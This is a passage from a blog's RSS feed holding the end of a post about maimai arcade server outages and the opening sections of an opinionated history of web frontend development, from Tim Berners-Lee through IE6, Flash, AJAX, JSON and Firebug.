&lt;p&gt;After reading this, you probably have a rough understanding of the various recent maimai issues. As a player, it&apos;s perfectly normal to get angry and curse when you lose connection without knowing why; this article was written to clear up your confusion, and you can ask further questions in the comments. Still, I hope everyone pays a bit more attention to themselves in daily life; it&apos;s just a game, for entertainment, and there&apos;s no need to put it above the rest of your life.&lt;/p&gt;
&lt;p&gt;Of course, happy New Year to everyone as well. Smooth work, success in studies — good health and happiness always come first&lt;/p&gt;
&lt;h2&gt;9. Appendix&lt;/h2&gt;
&lt;p&gt;I&apos;d also like to make a statement here: I (Chongxi) have never cooperated with any third-party organization, nor do I have any commercial activity. Whether writing the blog or making tools, I&apos;m just someone who knows a bit about computers and wants to contribute to the community out of love. We all love this game anyway, so there&apos;s no need to argue over these things&lt;/p&gt;
&lt;p&gt;My maimai server status tool: &lt;a href=&quot;https://mai.chongxi.us&quot;&gt;Is the Wahlap Server Dead?&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>网络</category><author>Chongxi</author></item><item><title>36 Years in Review: A History of Internet Frontend Development</title><link>https://xice.cx/en/posts/historyForFR/</link><guid isPermaLink="true">https://xice.cx/en/posts/historyForFR/</guid><description>36 years of frontend history: the sweeping technological evolution from 1990 to 2026</description><pubDate>Sat, 07 Feb 2026 18:11:17 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Studying computer science is studying computer history&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;h3&gt;0.1 Only screen is real&lt;/h3&gt;
&lt;p&gt;We often compare the internet to an iceberg: beneath it, tens of thousands of switches, servers and databases rumble away&lt;/p&gt;
&lt;p&gt;But for the user in front of the screen — someone holding a phone on the subway, or an office worker at a desk staring at a monitor — &lt;strong&gt;only the pixels on the screen are real&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If tapping that &quot;commit&quot; button does nothing; if that list stutters as it scrolls; if that page shows a blank white screen while loading&lt;br /&gt;
then no matter how elegant the backend architecture or how precise the algorithms, to the user it&apos;s just &lt;em&gt;garbage software&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For a long time, frontend developers were jokingly called &lt;em&gt;slicers&lt;/em&gt;&lt;br /&gt;
In software development&apos;s chain of contempt, frontend often sat at the bottom&lt;br /&gt;
Backend engineers thought frontend was just writing HTML tags and styling things — no need to understand memory management, no need to understand concurrency control, not even &lt;em&gt;real programming languages&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Yet the history of these thirty years has proven that prejudice absurd. Frontend development is going through the most violent, most brutal evolution in the history of computer science. We went from merely displaying a physics paper to running Photoshop, 3D games and even IDEs inside the browser sandbox&lt;/p&gt;
&lt;p&gt;What this blog post covers is not a tedious ledger of APIs, but the &quot;Romance of the Three Kingdoms&quot; of frontend over the past thirty years&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A word before we start: this article is told from my personal perspective and is bound to contain errors; please bear with me / point them out as much as you can.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;0.2 Original sin&lt;/h3&gt;
&lt;p&gt;To understand why frontend has been so chaotic these thirty years, why frameworks keep multiplying, and why toolchains are complex enough to make you tear your hair out, we have to go back to the origin and examine why the Web was born&lt;/p&gt;
&lt;p&gt;When the WWW was born in 1990, Sir Tim Berners-Lee&apos;s design goal was very pure: &lt;strong&gt;to let scientists share documents conveniently&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Remember the word &lt;strong&gt;document&lt;/strong&gt;. It is the root of all frontend pain and complexity, and in my view, the original sin&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTML&lt;/strong&gt; is for describing document structure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP&lt;/strong&gt; is a stateless protocol: you request a document, take it and go, no connection kept&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Browser&lt;/strong&gt; is just a document reader&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As commercialization exploded, humans wanted more and more. We no longer wanted a static sheet of paper; we wanted an App&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We want to do chat in this document reader&lt;/li&gt;
&lt;li&gt;We want to run a stock exchange here&lt;/li&gt;
&lt;li&gt;We want to collaboratively edit Excel here&lt;/li&gt;
&lt;li&gt;We want to watch HDR video here&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;It&apos;s like being asked to develop Minecraft inside Microsoft Word&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What frontend has been doing these thirty years is, in essence:&lt;br /&gt;
&lt;strong&gt;using a series of crude technologies originally designed for static documents, and through all sorts of clever hacks, forcibly building dynamic applications that rival native OS software&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Because HTTP is stateless, we invented Cookie and Session, and later came up with JWT&lt;/li&gt;
&lt;li&gt;Because every click in HTML refreshed the whole page, which felt terrible, we invented AJAX and forcibly turned web pages into SPAs&lt;/li&gt;
&lt;li&gt;Because DOM operations were too slow, we invented the Virtual DOM, computing everything in memory before touching the real DOM&lt;/li&gt;
&lt;li&gt;Because JavaScript had no module system when it was born, we invented CommonJS, AMD and UMD, and eventually forced ES Modules into existence&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The history of frontend&apos;s evolution is a history of resistance against the browser. We fight the browser&apos;s limitations, network latency and device fragmentation&lt;/p&gt;
&lt;h3&gt;0.3 Cycles&lt;/h3&gt;
&lt;p&gt;As you read this blog, you&apos;ll notice a very interesting phenomenon: &lt;strong&gt;the cycle of technology&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web 1.0&lt;/strong&gt;: pages were server-rendered. PHP/JSP assembled the HTML on the server and the browser displayed it directly. That was the extreme of &lt;strong&gt;static&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web 2.0&lt;/strong&gt;: for a better interactive experience, we moved all the logic into the browser. The browser became the &lt;em&gt;client&lt;/em&gt; and the server only spat out JSON data. That was the extreme of &lt;strong&gt;dynamic&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Now&lt;/strong&gt;: for first-screen speed and SEO, we realized client-side rendering was too slow. So Next.js and Nuxt showed up again&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Humanity went in a circle and seems to be back where it started?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No.&lt;/p&gt;
&lt;p&gt;The static of back then was because we couldn&apos;t do dynamic&lt;br /&gt;
The static of now is a deliberate choice made for the ultimate experience, after we had mastered dynamic&lt;/p&gt;
&lt;h3&gt;0.4 Who is frontend?&lt;/h3&gt;
&lt;p&gt;In 2000, if you could write &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; layouts and &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt; tags, you were frontend (back then it was actually called web designer)&lt;br /&gt;
In 2010, if you could use jQuery&apos;s &lt;code&gt;$(&apos;#id&apos;).click()&lt;/code&gt;, you were frontend
Now you need to know TS, JIT compilation, HTTP/3, server-side containerization and so on&lt;/p&gt;
&lt;p&gt;The boundaries of frontend are expanding without limit.&lt;br /&gt;
Upward, we&apos;re encroaching on backend territory with Serverless (even if it&apos;s not great right now)&lt;br /&gt;
Downward, we&apos;re calling into C++/Rust through WebAssembly&lt;br /&gt;
Outward, we&apos;re building native apps with React Native / Flutter&lt;/p&gt;
&lt;p&gt;But no matter how the tech stack changes, there&apos;s one thing I hope frontend developers reading this will remember:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We are the people closest to the user&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. The starting point&lt;/h2&gt;
&lt;h3&gt;1.1 Tim Berners-Lee&apos;s puzzle pieces&lt;/h3&gt;
&lt;p&gt;The starting point of everything was not grand. No venture capital, no IPO, not even a desire to change the world&lt;/p&gt;
&lt;p&gt;In 1989, while working at CERN, Tim Berners-Lee faced a very concrete pain point: physicists&apos; papers and data were too hard to find. They were scattered across different computers in all sorts of formats, and if you wanted to cite someone else&apos;s research you had to look it up by hand&lt;/p&gt;
&lt;p&gt;So he came up with a concept: the World Wide Web&lt;/p&gt;
&lt;p&gt;To realize it, he laid out three puzzle pieces that remain the foundations of the internet to this day:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTML&lt;/strong&gt;: a simple markup language for describing document structure (headings, paragraphs, lists). Note that it is only responsible for &lt;strong&gt;structure&lt;/strong&gt;, not for &lt;strong&gt;looking good&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP&lt;/strong&gt;: a stateless transfer protocol. You request a document, the server gives it to you, and then the connection closes. This burn-after-reading quality is why the Web was initially just a library, not an &quot;operating system&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL&lt;/strong&gt;: giving every document in the world a unique address&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On Christmas 1990, on that NeXT computer, he wrote the world&apos;s first browser and first server&lt;/p&gt;
&lt;p&gt;What did web pages look like back then?&lt;br /&gt;
&lt;strong&gt;Only text&lt;/strong&gt; — just black text on white and blue hyperlinks. Images needed to pop up in a new window to be viewed&lt;/p&gt;
&lt;p&gt;Frontend development then was no different from writing a Word document. You only needed to know a few tags like &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;. It was a &lt;strong&gt;Read-Only&lt;/strong&gt; era&lt;/p&gt;
&lt;h3&gt;1.2 Tables and Spacer GIFs&lt;/h3&gt;
&lt;p&gt;With the release of the Mosaic browser (the first widely popular graphical browser), images could finally be mixed with text. Commercial companies began moving onto the internet, and designers arrived with graphic-design thinking&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Boom&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The designer says: I want a logo in this corner, a three-column layout below the big headline, and a Guide on the right&lt;br /&gt;
The engineer looks at the crude HTML and says: you&apos;re treating me like a Japanese salaryman here&lt;/p&gt;
&lt;p&gt;HTML at the time had only document flow. No &lt;code&gt;Float&lt;/code&gt;, no &lt;code&gt;Position&lt;/code&gt;, and certainly no &lt;code&gt;Flexbox&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What to do? Clever — or rather, desperate — developers found a loophole: HTML had a tag for displaying data, &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; — the table&lt;/p&gt;
&lt;p&gt;If you set the border to 0 (&lt;code&gt;border=&quot;0&quot;&lt;/code&gt;), the table lines become invisible, right?&lt;br /&gt;
If you nest tables inside tables, you can carve out complex layouts, can&apos;t you?&lt;/p&gt;
&lt;p&gt;And so the &lt;strong&gt;table layout era&lt;/strong&gt; began&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The slicer is born&lt;/strong&gt;: the designer cuts a beautiful web design in Photoshop into dozens of little tofu blocks, and the frontend engineer reassembles them with one giant &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nesting hell&lt;/strong&gt;: to make a rounded box, you might need a 3x3 table with rounded-corner images in the four corners and content in the middle. If the content has layout inside it, nest another table. The code looks like a giant maze&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spacer GIF&lt;/strong&gt;: the greatest &quot;hacking technique&quot; of that era
&lt;ul&gt;
&lt;li&gt;Table cells sometimes collapse, or you want an exact 10px gap — what do you do?&lt;/li&gt;
&lt;li&gt;You make a 1x1 pixel transparent GIF&lt;/li&gt;
&lt;li&gt;Then you write &lt;code&gt;&amp;lt;img src=&quot;spacer.gif&quot; width=&quot;10&quot; height=&quot;1&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;You can&apos;t see it, but it props the space open&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was the first large-scale instance in frontend engineering history of &lt;strong&gt;doing whatever it takes to get the result&lt;/strong&gt;. The semantics were terrible and maintenance was brutally hard (change one character and the whole table might collapse), but it gave web pages &lt;strong&gt;a sense of design&lt;/strong&gt; for the first time&lt;/p&gt;
&lt;h3&gt;1.3 JavaScript, rushed into existence&lt;/h3&gt;
&lt;p&gt;In 1995, Netscape was at the eye of the first browser war. It was under enormous pressure to &lt;strong&gt;make web pages move&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The pain point was quite mundane: &lt;strong&gt;form validation&lt;/strong&gt;&lt;br /&gt;
That was the dial-up era, and connection speeds were atrociously slow. A user filled out a long registration form, clicked submit, the data went to the server, the server discovered the username was empty, and sent the page back to tell the user there was an error. That round trip could take tens of seconds or even a minute. Users lost their minds&lt;/p&gt;
&lt;p&gt;Netscape decided there had to be a scripting language that could check forms right in the browser, without going through the server&lt;/p&gt;
&lt;p&gt;The task went to &lt;strong&gt;Brendan Eich&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The boss&apos;s requirement&lt;/strong&gt;: it has to look like Java (Java was at its peak then, and Netscape wanted to ride the hype)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brendan&apos;s ulterior motive&lt;/strong&gt;: he actually wanted to bring Scheme or Self into the browser. He liked functional programming&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The result&lt;/strong&gt;: to ship before Netscape Navigator 2.0&apos;s release, he took only &lt;strong&gt;10 days&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The language was first called &lt;strong&gt;Mocha&lt;/strong&gt;, later renamed &lt;strong&gt;LiveScript&lt;/strong&gt;, and finally, on the eve of release, renamed &lt;strong&gt;JavaScript&lt;/strong&gt; for marketing&lt;/p&gt;
&lt;p&gt;This is the root of all the complaining about JS that followed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It has Java in its name but nothing to do with Java&lt;/li&gt;
&lt;li&gt;Its syntax looks like Java, but at heart it&apos;s a functional language&lt;/li&gt;
&lt;li&gt;Its design is full of hasty compromises:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt; and &lt;code&gt;undefined&lt;/code&gt; both exist, and even the famous &lt;code&gt;typeof null === &apos;object&apos;&lt;/code&gt; bug survives to this day&lt;/li&gt;
&lt;li&gt;Baffling errors caused by automatic semicolon insertion&lt;/li&gt;
&lt;li&gt;Extremely loose type coercion (&lt;code&gt;[] + [] = &quot;&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;It was designed as a toy language&lt;/strong&gt;, just for little tricks like changing an image&apos;s color on mouseover, popping up alert dialogs, and checking that an input box isn&apos;t empty&lt;/p&gt;
&lt;p&gt;Professional programmers of the time (Java developers, say) turned their noses up at JavaScript. They didn&apos;t consider it programming; it was just script snippets&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But Pandora&apos;s box was already open&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Crude as it was, it gave the browser the ability to compute logic&lt;br /&gt;
With logic, web pages were no longer just documents; they began evolving into apps&lt;/p&gt;
&lt;p&gt;It was amid this mess of table tags, transparent image placeholders and a few lines of crude script validation that frontend stumbled into the commercial era of the Web&lt;/p&gt;
&lt;p&gt;And just ahead, a giant named Microsoft was about to wake up&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. The first browser war&lt;/h2&gt;
&lt;h3&gt;2.1 The giant&apos;s crash&lt;/h3&gt;
&lt;p&gt;In 1996, Netscape Navigator held nearly 80% of the market. Browsers were paid software back then (or rather shareware), and it was the only gateway to the internet&lt;/p&gt;
&lt;p&gt;But Bill Gates woke up. He sent out the famous &quot;Internet Tidal Wave&quot; memo, and the Microsoft aircraft carrier began turning around at full speed&lt;/p&gt;
&lt;p&gt;Microsoft adopted the classic &lt;strong&gt;Embrace, Extend, Extinguish&lt;/strong&gt; strategy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Embrace&lt;/strong&gt;: Microsoft licensed Spyglass Mosaic and reworked it into &lt;strong&gt;Internet Explorer&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extend&lt;/strong&gt;: to differentiate themselves, both sides started frantically stuffing private extensions into HTML
&lt;ul&gt;
&lt;li&gt;Netscape invented the &lt;code&gt;&amp;lt;layer&amp;gt;&lt;/code&gt; tag and &lt;code&gt;&amp;lt;blink&amp;gt;&lt;/code&gt; (blinking text — the most annoying tag in history, in my opinion)&lt;/li&gt;
&lt;li&gt;Microsoft invented &lt;code&gt;&amp;lt;iframe &amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;marquee&amp;gt;&lt;/code&gt; (scrolling text)&lt;/li&gt;
&lt;li&gt;Netscape used &lt;code&gt;document.layers&lt;/code&gt; to manipulate elements; Microsoft used &lt;code&gt;document.all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;As a result, developers had to write piles of &lt;code&gt;if (document.all) { ... } else { ... }&lt;/code&gt;. This was the ancestor of &lt;strong&gt;browser sniffing&lt;/strong&gt; code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extinguish&lt;/strong&gt;: Microsoft deployed its nuclear weapon: &lt;strong&gt;free bundling&lt;/strong&gt;. IE came preinstalled with Windows 95/98. Netscape&apos;s only source of revenue was cut off&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In 1998, Netscape was crushed and acquired by AOL. But before dying, it made a decision that changed history: &lt;strong&gt;open source&lt;/strong&gt; (dun dun dun)&lt;/p&gt;
&lt;p&gt;They threw all of Netscape&apos;s chaotic code at the community and founded &lt;strong&gt;Mozilla&lt;/strong&gt;. That seed lay buried for many years before growing into a great tree called &lt;strong&gt;Firefox&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.2 IE6: imperial glory and crash&lt;/h3&gt;
&lt;p&gt;In August 2001, Windows XP shipped, and with it came &lt;strong&gt;Internet Explorer 6.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We need to judge this former king objectively. Looking back at IE6 from 2026, it&apos;s synonymous with outdated, buggy and insecure. But in 2001, &lt;strong&gt;IE6 was the most advanced browser in the world&lt;/strong&gt;, bar none (after all, you can&apos;t judge the past by today&apos;s standards)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It was the best CSS renderer&lt;/strong&gt;: compared with earlier versions, its CSS1 support was actually pretty good (despite the famous box model bug)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It was the fastest JS engine&lt;/strong&gt;: V8 was still in the womb back then&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It brought the spark of AJAX&lt;/strong&gt;: &lt;code&gt;ActiveXObject(&quot;Microsoft.XMLHTTP&quot;)&lt;/code&gt; was introduced with IE5/6&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IE6 quickly grabbed &lt;strong&gt;95%&lt;/strong&gt; of the market. Microsoft won, and so it disbanded the browser team (lol)&lt;br /&gt;
&lt;strong&gt;Web time stopped&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;From 2001 to 2006, a full five years, browser technology made no substantive progress. I call these five years &lt;strong&gt;the Web&apos;s Dark Ages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For frontend (dedicated frontend developers were starting to appear by then), these five years were &lt;strong&gt;five years of fighting bugs&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Box model bug&lt;/strong&gt;: the standard said &lt;code&gt;width&lt;/code&gt; is the content width; IE6 said &lt;code&gt;width&lt;/code&gt; includes the border. So we learned CSS Hacks: &lt;code&gt;_width: 200px;&lt;/code&gt; (only IE6 recognized properties starting with an underscore)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PNG transparency problem&lt;/strong&gt;: IE6 didn&apos;t support PNG-24 alpha transparency, so everything showed against a gray background. We were forced to write filter code (&lt;code&gt;AlphaImageLoader&lt;/code&gt;) or keep using GIFs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double margin bug&lt;/strong&gt;: the margin of floated elements would mysteriously double. The fix? &lt;code&gt;display: inline&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We were no longer builders but fixers. The barrier to frontend development became &lt;strong&gt;mysticism&lt;/strong&gt;; you had to memorize dozens of IE6 quirks to write a normal page&lt;/p&gt;
&lt;h3&gt;2.3 DHTML and Flash&lt;/h3&gt;
&lt;p&gt;In an era when HTML/CSS stagnated and standards split, humanity&apos;s desire for dynamic interaction didn&apos;t disappear. That desire found outlets in two directions&lt;/p&gt;
&lt;h4&gt;2.3.1 DHTML&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;DHTML (Dynamic HTML)&lt;/strong&gt; was not a standard but a marketing term&lt;br /&gt;
It meant: &lt;strong&gt;using JS to modify CSS properties and make static HTML move&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It was the era of effects&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web pages had text trails drifting after the mouse&lt;/li&gt;
&lt;li&gt;Navigation menus bounced when they expanded&lt;/li&gt;
&lt;li&gt;The status bar had scrolling marquee text&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most frontend developers couldn&apos;t write JS; they were &lt;strong&gt;script porters&lt;/strong&gt;. They went to sites like &lt;code&gt;DynamicDrive.com&lt;/code&gt;, copied a few hundred lines of JS, pasted it into the page, and tweaked the parameters. &lt;strong&gt;JS was seen as an ornament back then — a toy that made a page look cool (or extremely Shamate)&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2.3.2 Flash&lt;/h4&gt;
&lt;p&gt;Since HTML was so bad and different browsers rendered it inconsistently, why not step outside the browser?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Macromedia Flash&lt;/strong&gt; (later acquired by Adobe) burst onto the scene&lt;br /&gt;
It was, in effect, &lt;strong&gt;a virtual machine inside the browser&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Consistency&lt;/strong&gt;: whether you were on IE or Netscape, as long as you had the Flash plugin, it looked exactly the same. This was the most powerful counterattack against compatibility hell&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multimedia&lt;/strong&gt;: it could play video and audio (HTML couldn&apos;t at the time)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vector graphics&lt;/strong&gt;: it could do animations that scaled without loss (SVG wasn&apos;t a thing yet)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A powerful language&lt;/strong&gt;: &lt;strong&gt;ActionScript&lt;/strong&gt;. While JS was still handling form validation, ActionScript 2.0/3.0 was already a fully object-oriented language with classes, inheritance and interfaces&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In those days, the top-tier frontend engineers were actually &lt;strong&gt;Flash Developers&lt;/strong&gt;. They made Happy Farm, they made video sites (the early 土豆/优酷 players), they made incredibly gorgeous corporate websites&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flash was the true prelude to Web 2.0&lt;/strong&gt;&lt;br /&gt;
It proved that web pages could be more than documents — they could be games, movies and complex applications&lt;br /&gt;
But it was a black box. Search engines couldn&apos;t read it, and mobile devices (the iPhone later on) couldn&apos;t run it&lt;/p&gt;
&lt;p&gt;Amid this seemingly unsolvable deadlock, the Web was brewing a real revolution&lt;br /&gt;
And in far-off CA, Google was quietly rewriting Gmail&apos;s code, preparing to give the world a little shock using the &lt;code&gt;XMLHTTP&lt;/code&gt; interface IE6 had forgotten about&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Web pages begin to breathe&lt;/h2&gt;
&lt;h3&gt;3.1 The Gmail shock&lt;/h3&gt;
&lt;p&gt;On April Fools&apos; Day 2004, Google launched Gmail. Everyone thought it was a joke, because it offered 1GB of free storage (mainstream email at the time had only 2MB)&lt;/p&gt;
&lt;p&gt;But what really stunned geeks wasn&apos;t the capacity — it was the &lt;strong&gt;experience&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before that, web interaction was synchronous:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The user clicks &quot;next page&quot;&lt;/li&gt;
&lt;li&gt;The browser goes blank&lt;/li&gt;
&lt;li&gt;The server generates new HTML&lt;/li&gt;
&lt;li&gt;The browser re-renders the entire page&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In Gmail, when you clicked an email subject, the page &lt;strong&gt;didn&apos;t refresh&lt;/strong&gt;. The list stayed on the left and the message content appeared on the right in an instant.&lt;br /&gt;
It felt so much like a native app that many suspected Google was using Flash or a Java Applet&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It wasn&apos;t.&lt;/strong&gt; They were using a pure, native technology Microsoft had forgotten in a corner: &lt;strong&gt;XMLHTTP&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft developed this technology in 1999 for Outlook Web Access and shipped it with IE5. But Microsoft didn&apos;t value it itself, treating it as an inconspicuous ActiveX control&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jesse James Garrett names it&lt;/strong&gt;: in 2005, this UX designer wrote a famous article coining the term &lt;strong&gt;AJAX (Asynchronous JavaScript and XML)&lt;/strong&gt; for this whole class of &quot;communicate with the server without refreshing the page&quot; techniques&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;From then on, web pages had a background thread&lt;/strong&gt;&lt;br /&gt;
It could quietly fetch data from the server while you weren&apos;t looking. &lt;strong&gt;Web pages began to breathe&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2 JSON, an accidental standard&lt;/h3&gt;
&lt;p&gt;The &quot;X&quot; in AJAX stands for &lt;strong&gt;XML&lt;/strong&gt;. At the time, XML really was the standard format for data exchange&lt;br /&gt;
But parsing XML in JavaScript was an absolute &lt;strong&gt;disaster&lt;/strong&gt;. You had to write piles of &lt;code&gt;getElementsByTagName&lt;/code&gt;, and the code was verbose and slow&lt;/p&gt;
&lt;p&gt;Then a Yahoo architect named &lt;strong&gt;Douglas Crockford&lt;/strong&gt; stepped up&lt;br /&gt;
He discovered that JavaScript had a native data representation — &lt;strong&gt;object literals&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// XML
&amp;lt;user&amp;gt;&amp;lt;name&amp;gt;Chongxi&amp;lt;/name&amp;gt;&amp;lt;age&amp;gt;23&amp;lt;/age&amp;gt;&amp;lt;/user&amp;gt;

// JSON
{ &quot;name&quot;: &quot;Chongxi&quot;, &quot;age&quot;: 23 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Crockford didn&apos;t even invent it; he merely &lt;strong&gt;discovered&lt;/strong&gt; it. He named this format &lt;strong&gt;JSON&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It&apos;s natively a JS object, so parsing is extremely simple (early on people just used &lt;code&gt;eval()&lt;/code&gt;, insecure as that was)&lt;/li&gt;
&lt;li&gt;It&apos;s far lighter than XML (all those angle brackets gone, saving bandwidth)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;This was the most effortless victory in Web history&lt;/strong&gt;&lt;br /&gt;
Thanks to frontend developers&apos; enthusiastic advocacy, backend engineers found that generating JSON was easier than generating XML too. So the &quot;X&quot; in AJAX became a name without substance, and JSON ruled the world&lt;/p&gt;
&lt;h3&gt;3.3 Firebug&lt;/h3&gt;
&lt;p&gt;Before 2006, the only tools for debugging JS were:
&lt;code&gt;alert(&apos;Here 1&apos;);&lt;/code&gt;
&lt;code&gt;alert(&apos;Variable x is: &apos; + x);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Developers groped around like blind people. If the code errored, IE just showed a yellow exclamation mark in the lower left telling you an object was missing, and the line number was always wrong&lt;/p&gt;
&lt;p&gt;In January 2006, &lt;strong&gt;Joe Hewitt&lt;/strong&gt; released the Firefox add-on &lt;strong&gt;Firebug&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It could &lt;strong&gt;inspect elements&lt;/strong&gt;: point the mouse somewhere and it highlighted. Oh my god, we could edit CSS right in the browser and see the result&lt;/li&gt;
&lt;li&gt;It had a &lt;strong&gt;Console&lt;/strong&gt;: &lt;code&gt;console.log()&lt;/code&gt; finally replaced &lt;code&gt;alert()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;It could &lt;strong&gt;set breakpoints&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It could &lt;strong&gt;capture network requests&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Firebug was the first cornerstone of frontend engineering&lt;/strong&gt; It turned frontend development from mystical guesswork into scientific observation&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Write Less, Do More&lt;/h2&gt;
&lt;h3&gt;4.1 The savior&lt;/h3&gt;
&lt;p&gt;Even with AJAX and Firebug, frontend development was still excruciating
&lt;strong&gt;The pain point was: fragmentation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Getting an element:
&lt;ul&gt;
&lt;li&gt;Standard browsers: &lt;code&gt;document.getElementById&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To get by Class: IE6 didn&apos;t support &lt;code&gt;getElementsByClassName&lt;/code&gt;. You had to write your own loop to traverse the DOM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
